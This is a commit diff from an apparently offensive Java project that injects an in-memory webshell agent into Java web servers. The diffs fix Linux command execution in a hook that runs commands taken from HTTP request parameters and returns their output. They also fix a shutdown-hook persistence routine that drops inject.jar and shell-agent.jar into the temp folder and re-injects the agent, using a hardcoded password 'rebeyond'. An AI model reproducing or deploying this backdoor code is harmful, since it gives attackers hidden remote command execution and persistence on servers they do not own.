Skip to content

Commit bd08410

Browse files
committed
修复linux执行命令的bug以及持久化的bug
1 parent 625bc7d commit bd08410

File tree

7 files changed

+37
-34
lines changed

7 files changed

+37
-34
lines changed

inject/dependency-reduced-pom.xml

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
<modelVersion>4.0.0</modelVersion>
44
<groupId>org.example</groupId>
55
<artifactId>inject</artifactId>
6-
<version>1.1</version>
6+
<version>1.2</version>
77
<build>
88
<sourceDirectory>src</sourceDirectory>
99
<finalName>inject</finalName>
@@ -29,5 +29,12 @@
2929
</plugin>
3030
</plugins>
3131
</build>
32+
<properties>
33+
<maven.compiler.encoding>UTF-8</maven.compiler.encoding>
34+
<maven.compiler.target>1.8</maven.compiler.target>
35+
<java.version>1.8</java.version>
36+
<maven.compiler.source>1.8</maven.compiler.source>
37+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
38+
</properties>
3239
</project>
3340

inject/pom.xml

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
<groupId>org.example</groupId>
88
<artifactId>inject</artifactId>
9-
<version>1.1</version>
9+
<version>1.2</version>
1010
<build>
1111
<finalName>inject</finalName>
1212
<sourceDirectory>src</sourceDirectory>
@@ -22,6 +22,7 @@
2222
<goal>shade</goal>
2323
</goals>
2424
<configuration>
25+
2526
<transformers>
2627
<transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
2728
<mainClass>main.java.Attach</mainClass>
@@ -42,4 +43,11 @@
4243
<version>1.8.0_jdk8u172-b11</version>
4344
</dependency>
4445
</dependencies>
46+
<properties>
47+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
48+
<maven.compiler.encoding>UTF-8</maven.compiler.encoding>
49+
<java.version>1.8</java.version>
50+
<maven.compiler.source>1.8</maven.compiler.source>
51+
<maven.compiler.target>1.8</maven.compiler.target>
52+
</properties>
4553
</project>

inject/src/main/java/Attach.java

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,6 @@ public static void main(String[] args) throws IOException {
4545
}
4646
} catch (Exception e) {
4747
e.printStackTrace();
48-
System.exit(-1);
4948
}
5049
}
5150

memshell_asm/dependency-reduced-pom.xml

Lines changed: 1 addition & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
<modelVersion>4.0.0</modelVersion>
44
<groupId>cn.com.x1001</groupId>
55
<artifactId>ShellAgent</artifactId>
6-
<version>1.0-SNAPSHOT</version>
6+
<version>1.2-SNAPSHOT</version>
77
<build>
88
<resources>
99
<resource>
@@ -28,12 +28,6 @@
2828
</execution>
2929
</executions>
3030
<configuration>
31-
<transformers>
32-
<transformer>
33-
<resource>META-INF/forcedelete.exe</resource>
34-
<file>src/main/resources/forcedelete.exe</file>
35-
</transformer>
36-
</transformers>
3731
<minimizeJar>true</minimizeJar>
3832
</configuration>
3933
</plugin>

memshell_asm/pom.xml

Lines changed: 0 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -56,12 +56,6 @@
5656
</execution>
5757
</executions>
5858
<configuration>
59-
<transformers>
60-
<transformer implementation="org.apache.maven.plugins.shade.resource.IncludeResourceTransformer">
61-
<resource>META-INF/forcedelete.exe</resource>
62-
<file>src/main/resources/forcedelete.exe</file>
63-
</transformer>
64-
</transformers>
6559
<minimizeJar>true</minimizeJar>
6660
<!-- <filters>-->
6761
<!-- <filter>-->

memshell_asm/src/main/java/cn/com/x1001/Agent.java

Lines changed: 18 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,9 @@ public class Agent {
1616
public static InstrumentationContext context = new InstrumentationContext();
1717
public static String currentPath;
1818
public static String password = "rebeyond";
19+
private final static String AGENT_NAME = "shell-agent.jar";
20+
private final static String INJECT_NAME = "inject.jar";
21+
1922
public static byte[] injectFileBytes = new byte[]{}, agentFileBytes = new byte[]{};
2023

2124

@@ -26,8 +29,6 @@ public static void agentmain(String args, Instrumentation inst) throws IOExcepti
2629
} else {
2730
Agent.currentPath = args;
2831
}
29-
out.println("Agent password:" + Agent.password);
30-
out.println("Agent currentPath:" + Agent.currentPath);
3132
start(inst);
3233
}
3334

@@ -58,7 +59,7 @@ private static void start(Instrumentation inst) {
5859
clear();
5960
persist();
6061
} catch (Exception e) {
61-
// System.out.println(e);
62+
out.println(e.getMessage());
6263
}
6364

6465
}
@@ -83,14 +84,11 @@ public static void addHook() {
8384

8485
public static void persist() {
8586
try {
86-
// out.println("persist add");
8787
Thread t = new Thread() {
8888
public void run() {
8989
try {
90-
// out.println("persist start");
91-
writeFiles("inject.jar", Agent.injectFileBytes);
92-
writeFiles("shell-agent.jar", Agent.agentFileBytes);
93-
// out.println("persist end");
90+
writeFiles(INJECT_NAME, Agent.injectFileBytes);
91+
writeFiles(AGENT_NAME, Agent.agentFileBytes);
9492
startInject();
9593
} catch (Exception e) {
9694

@@ -100,15 +98,16 @@ public void run() {
10098
t.setName("shutdown Thread");
10199
Runtime.getRuntime().addShutdownHook(t);
102100
} catch (Throwable t) {
103-
out.println(t.getMessage());
101+
104102
}
105103
}
106104

107-
private static void startInject() throws InterruptedException, IOException {
108-
Thread.sleep(2000);
105+
private static void startInject() throws Exception {
106+
Thread.sleep(3000);
109107
String tempFolder = System.getProperty("java.io.tmpdir");
110-
String cmd = "java -jar " + tempFolder + File.separator + "inject.jar " + Agent.password;
108+
String cmd = "java -jar " + tempFolder + File.separator + INJECT_NAME+" " + Agent.password;
111109
Runtime.getRuntime().exec(cmd);
110+
112111
}
113112

114113
static byte[] mergeByteArray(byte[]... byteArray) {
@@ -133,13 +132,16 @@ static byte[] mergeByteArray(byte[]... byteArray) {
133132
return result;
134133
}
135134

135+
public static void main(String[] args) throws Exception {
136+
readInjectFile("C:\\Users\\fbi\\Documents\\javaProject\\weblogic_memshell\\inject\\target");
137+
}
136138
public static void readInjectFile(String filePath) throws Exception {
137-
String fileName = "inject.jar";
139+
String fileName = INJECT_NAME;
138140
readFile(filePath, fileName);
139141
}
140142

141143
public static void readAgentFile(String filePath) throws Exception {
142-
String fileName = "shell-agent.jar";
144+
String fileName = AGENT_NAME;
143145
readFile(filePath, fileName);
144146
}
145147

@@ -152,7 +154,8 @@ private static void readFile(String filePath, String fileName) throws Exception
152154
byte[] bytes = new byte[1024 * 100];
153155
int num = 0;
154156
while ((num = is.read(bytes)) != -1) {
155-
agentFileBytes = mergeByteArray(agentFileBytes, Arrays.copyOfRange(bytes, 0, num));
157+
if (fileName.equals(AGENT_NAME)) agentFileBytes = mergeByteArray(agentFileBytes, Arrays.copyOfRange(bytes, 0, num));
158+
else if (fileName.equals(INJECT_NAME)) injectFileBytes = mergeByteArray(injectFileBytes, Arrays.copyOfRange(bytes, 0, num));
156159
}
157160
is.close();
158161
}

memshell_asm/src/main/java/cn/com/x1001/hook/ShellChecker.java

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -24,12 +24,10 @@ public static void check(Object[] args, Object o) {
2424
String cmd;
2525
try {
2626
cmd = execute(c);
27-
httpResponse.write(cmd);
2827
} catch (Exception e) {
2928
cmd = e.getMessage();
3029
}
3130
httpResponse.write(cmd);
32-
3331
}
3432
String ip = coyoteRequest.getParameter("ip");
3533
String port = coyoteRequest.getParameter("port");
@@ -57,7 +55,7 @@ public static String execute(String cmd) throws Exception {
5755
if (osName.contains("windows")) {
5856
processBuilder = new ProcessBuilder("cmd", "/c", cmd);
5957
} else {
60-
processBuilder = new ProcessBuilder("/bin/bash", cmd);
58+
processBuilder = new ProcessBuilder("/bin/bash","-c", cmd);
6159
}
6260
Process process = processBuilder.start();
6361
in = process.getInputStream();

0 commit comments

Comments
 (0)